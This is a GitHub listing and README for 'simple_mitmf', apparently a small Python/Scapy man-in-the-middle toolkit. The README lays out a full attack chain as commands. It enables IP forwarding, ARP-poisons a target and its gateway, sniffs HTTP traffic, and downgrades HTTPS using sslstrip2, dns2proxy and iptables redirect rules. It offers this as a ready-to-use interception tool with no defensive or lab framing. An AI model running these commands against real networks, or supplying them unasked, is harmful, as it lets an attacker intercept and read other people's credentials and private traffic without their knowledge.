https://github.com/knid/simple_mitmf
a simple mitmf framework
https://github.com/knid/simple_mitmf
Last synced: about 1 month ago
JSON representation
a simple mitmf framework
- Host: GitHub
- URL: https://github.com/knid/simple_mitmf
- Owner: knid
- Created: 2022-01-31T09:47:50.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2022-02-03T16:21:02.000Z (over 3 years ago)
- Last Synced: 2025-02-12T11:12:40.052Z (3 months ago)
- Language: Python
- Size: 3.91 KB
- Stars: 0
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Simple Mitmf Framework
**Man-In-The-Middle** Software Made Using Scapy with Python3
## Installing Required Packages:
```
- pip3 install scapy
- pip3 install scapy_httpOR
- pip3 install -r requirements.txt
```
## IP Forward```
- echo 1 > /proc/sys/net/ipv4/ip_forward
```# Arp_Poison.py
>- Performs **ARP Poisoning** by Sending ARP Packets.
## Usage :
```
- python3 arp_poison.py -t x.x.x.x -g x.x.x.x
```# Listener.py
> - Captures and Prints All **HTTP** Packets After ARP Poisoning.
## Usage :
```
- python3 listener.py -i wlan0
```Instead of **Listener.py** You Can Use Any Network Listening Software. Ex: **Wireshark**
# Bypass HTTPS:
## Downloading Required Applications:
```
git clone https://github.com/byt3bl33d3r/sslstrip2
git clone https://github.com/singe/dns2proxy
```## IP Table Configuration:
**For SSLStrip:**
```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
```
**For DNS2Proxy:**
```
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
```## Usage :
```
- echo 1 > /proc/sys/net/ipv4/ip_forward- python3 arp_poison.py -t x.x.x.x -g x.x.x.x
- python3 sslstrip.py
- python3 dns2proxy.py
- python3 listener.py -i wlan0